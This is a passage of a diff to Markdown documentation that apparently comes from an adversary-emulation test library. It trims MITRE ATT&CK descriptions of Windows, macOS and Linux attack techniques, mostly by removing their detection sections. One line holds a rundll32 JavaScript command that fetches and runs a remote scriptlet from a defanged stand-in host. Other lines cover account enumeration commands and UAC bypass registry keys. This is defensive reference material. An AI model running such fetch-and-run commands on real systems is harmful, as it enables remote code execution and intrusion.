-Detection: Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns)
-
-Platforms: Windows
-
-Data Sources: WMI Objects
-
-Permissions Required: Administrator, SYSTEM</blockquote>
+<blockquote>Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)</blockquote>

 ## Atomic Tests

@@ -4,21 +4,7 @@

 Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

-Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
-
-Detection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.
-
-Platforms: Windows
-
-Data Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring
-
-Defense Bypassed: Anti-virus, Application whitelisting
-
-Permissions Required: User
-
-Remote Support: No
-
-Contributors: Ricardo Dias, Casey Smith</blockquote>
+Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)</blockquote>

 ## Atomic Tests

@@ -6,19 +6,7 @@ PowerShell may also be used to download and run executables from the Internet, w

 Administrator permissions are required to use PowerShell to connect to remote systems.

-A number of PowerShell-based offensive testing tools are available, including Empire, (Citation: Github PowerShell Empire) PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)
-
-Detection: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.
-
-It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution. (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.
-
-Platforms: Windows
-
-Data Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring
-
-Permissions Required: User, Administrator
-
-Remote Support: Yes</blockquote>
+A number of PowerShell-based offensive testing tools are available, including Empire, (Citation: Github PowerShell Empire) PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)</blockquote>

 ## Atomic Tests

@@ -2,31 +2,19 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1087)
 <blockquote>Adversaries may attempt to get a listing of local system or domain accounts. 

-===Windows===
+### Windows

-Example commands that can acquire this information are <code>net user</code>, <code>net group <groupname></code>, and <code>net localgroup <groupname></code> using the Net utility or through use of dsquery. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply.
+Example commands that can acquire this information are <code>net user</code>, <code>net group <groupname></code>, and <code>net localgroup <groupname></code> using the [Net](https://attack.mitre.org/software/S0039) utility or through use of [dsquery](https://attack.mitre.org/software/S0105). If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) may apply.

-===Mac===
+### Mac

 On Mac, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.

-===Linux===
+### Linux

 On Linux, local users can be enumerated through the use of the <code>/etc/passwd</code> file which is world readable. In mac, this same file is only used in single-user mode in addition to the <code>/etc/master.passwd</code> file.

-Also, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.
-
-Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
-
-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: API monitoring, Process command-line parameters, Process monitoring
-
-Permissions Required: User
-
-Contributors: Travis Smith, Tripwire</blockquote>
+Also, groups can be enumerated through the <code>groups</code> and <code>id</code> commands.</blockquote>

 ## Atomic Tests

@@ -8,28 +8,7 @@ Many methods have been discovered to bypass UAC. The Github readme page for UACM

 * <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)

-Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)
-
-Detection: There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of Process Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes.
-
-Some UAC bypass methods rely on modifying specific, user-accessible Registry settings.  For example:
-
-* The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command</code> Registry key. (Citation: enigma0x3 Fileless UAC Bypass)
-* The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe</code> and <code>[HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand</code> Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)
-
-Analysts should monitor these Registry settings for unauthorized changes.
-
-Platforms: Windows
-
-Data Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters
-
-Effective Permissions: Administrator
-
-Defense Bypassed: Windows User Account Control
-
-Permissions Required: User, Administrator
-
-Contributors: Stefan Kanthak, Casey Smith</blockquote>
+Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)</blockquote>

 ## Atomic Tests

@@ -1,14 +1,6 @@
 # T1089 - Disabling Security Tools
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1089)
-<blockquote>Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.
-
-Detection: Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: API monitoring, Anti-virus, File monitoring, Services, Windows Registry, Process command-line parameters
-
-Defense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Signature-based detection, Log analysis</blockquote>
+<blockquote>Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.</blockquote>

 ## Atomic Tests

@@ -1,22 +1,10 @@
 # T1090 - Connection Proxy
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1090)
-<blockquote>A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools)
+<blockquote>A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools)

 The definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.

-The network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.
-
-Detection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.
-
-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture
-
-Requires Network: Yes
-
-Contributors: Walker Johnson</blockquote>
+The network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.</blockquote>

 ## Atomic Tests

@@ -1,24 +1,8 @@
 # T1096 - NTFS File Attributes
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1096)
-<blockquote>Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternative Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)
+<blockquote>Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

-Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)
-
-Detection: Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions, used to interact with EA, and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)
-
-The Streams tool of Sysinternals can be used to uncover files with ADSs. The <code>dir /r</code> command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a <code>-stream</code> parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)
-
-Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: <code>file.ext:ads[.ext]</code>) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014)
-
-Platforms: Windows
-
-Data Sources: File monitoring, Kernel drivers, API monitoring
-
-Defense Bypassed: Signature-based detection, Anti-virus, Host forensic analysis
-
-System Requirements: NTFS partitioned hard drive
-
-Contributors: Red Canary</blockquote>
+Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)</blockquote>

 ## Atomic Tests

@@ -1,16 +1,6 @@
 # T1098 - Account Manipulation
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1098)
-<blockquote>Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.
-
-Detection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ (Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password. (Citation: GitHub Mimikatz Issue 92 June 2017)
-
-Use of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.
-
-Platforms: Windows
-
-Data Sources: Authentication logs, API monitoring, Windows event logs, Packet capture
-
-Permissions Required: Administrator</blockquote>
+<blockquote>Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to subvert password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.</blockquote>

 ## Atomic Tests

@@ -1,16 +1,6 @@
 # T1099 - Timestomp
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1099)
-<blockquote>Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)
-
-Detection: Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.
-
-Platforms: Linux, Windows
-
-Data Sources: File monitoring, Process monitoring, Process command-line parameters
-
-Defense Bypassed: Host forensic analysis
-
-Permissions Required: User, Administrator, SYSTEM</blockquote>
+<blockquote>Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)</blockquote>

 ## Atomic Tests

@@ -1,22 +1,8 @@
 # T1103 - AppInit DLLs
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1103)
-<blockquote>Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Engame Process Injection July 2017) Similar to Process Injection, these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)
+<blockquote>Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)

-The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)
-
-Detection: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) 
-
-Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.
-
-Platforms: Windows
-
-Data Sources: Loaded DLLs, Process monitoring, Windows Registry
-
-Effective Permissions: Administrator, SYSTEM
-
-Permissions Required: Administrator
-
-System Requirements: Secure boot disabled on systems running Windows 8 and later</blockquote>
+The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)</blockquote>

 ## Atomic Tests

@@ -1,20 +1,8 @@
 # T1105 - Remote File Copy
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1105)
-<blockquote>Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
+<blockquote>Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.

-Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with Windows Admin Shares or Remote Desktop Protocol.
-
-Detection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.
-
-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring
-
-Permissions Required: User
-
-Requires Network: Yes</blockquote>
+Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076).</blockquote>

 ## Atomic Tests

@@ -2,19 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1107)
 <blockquote>Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.

-There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)
-
-Detection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.
-
-Platforms: Linux, Windows, macOS
-
-Data Sources: Binary file metadata, File monitoring, Process command-line parameters
-
-Defense Bypassed: Host forensic analysis
-
-Permissions Required: User
-
-Contributors: Walker Johnson</blockquote>
+There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)</blockquote>

 ## Atomic Tests

@@ -2,25 +2,11 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1110)
 <blockquote>Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.

-Credential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)
+[Credential Dumping](https://attack.mitre.org/techniques/T1003) to obtain password hashes may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1075) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)

 Adversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)

-A related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)
-
-Detection: It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. 
-
-Monitor authentication logs for system and application login failures of Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.
-
-Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: Authentication logs
-
-Permissions Required: User
-
-Contributors: John Strand</blockquote>
+A related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)</blockquote>

 ## Atomic Tests

@@ -2,23 +2,11 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1112)
 <blockquote>Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.

-Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).
+Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).

-The Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system's Windows Admin Shares for RPC communication.
+Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reg)hide NOV 2006 Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to establish Persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)

-Detection: Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.
-
-Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
-
-Platforms: Windows
-
-Data Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters
-
-Defense Bypassed: Host forensic analysis
-
-Permissions Required: User, Administrator, SYSTEM
-
-Contributors: Bartosz Jerzman, Travis Smith, Tripwire</blockquote>
+The Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) for RPC communication.</blockquote>

 ## Atomic Tests

@@ -2,19 +2,13 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1113)
 <blockquote>Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.

-===Mac===
+### Mac

 On OSX, the native command <code>screencapture</code> is used to capture screenshots.

-===Linux===
+### Linux

-On Linux, there is the native command <code>xwd</code>. (Citation: Antiquated Mac Malware)
-
-Detection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: API monitoring, Process monitoring, File monitoring</blockquote>
+On Linux, there is the native command <code>xwd</code>. (Citation: Antiquated Mac Malware)</blockquote>

 ## Atomic Tests

@@ -2,19 +2,13 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1115)
 <blockquote>Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. 

-===Windows===
+### Windows

 Applications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) 

-===Mac===
+### Mac

-OSX provides a native command, <code>pbpaste</code>, to grab clipboard contents  (Citation: Operating with EmPyre).
-
-Detection: Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: API monitoring</blockquote>
+OSX provides a native command, <code>pbpaste</code>, to grab clipboard contents  (Citation: Operating with EmPyre).</blockquote>

 ## Atomic Tests

@@ -6,21 +6,7 @@ Adversaries may take advantage of this functionality to proxy execution of code

 Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

-Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016)
-
-Detection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)
-
-Platforms: Windows
-
-Data Sources: Loaded DLLs, Process monitoring, Process command-line parameters, Windows Registry
-
-Defense Bypassed: Process whitelisting, Anti-virus
-
-Permissions Required: User, Administrator
-
-Remote Support: No
-
-Contributors: Casey Smith</blockquote>
+Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)</blockquote>

 ## Atomic Tests

@@ -2,21 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1118)
 <blockquote>InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: <code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>. InstallUtil.exe is digitally signed by Microsoft.

-Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)
-
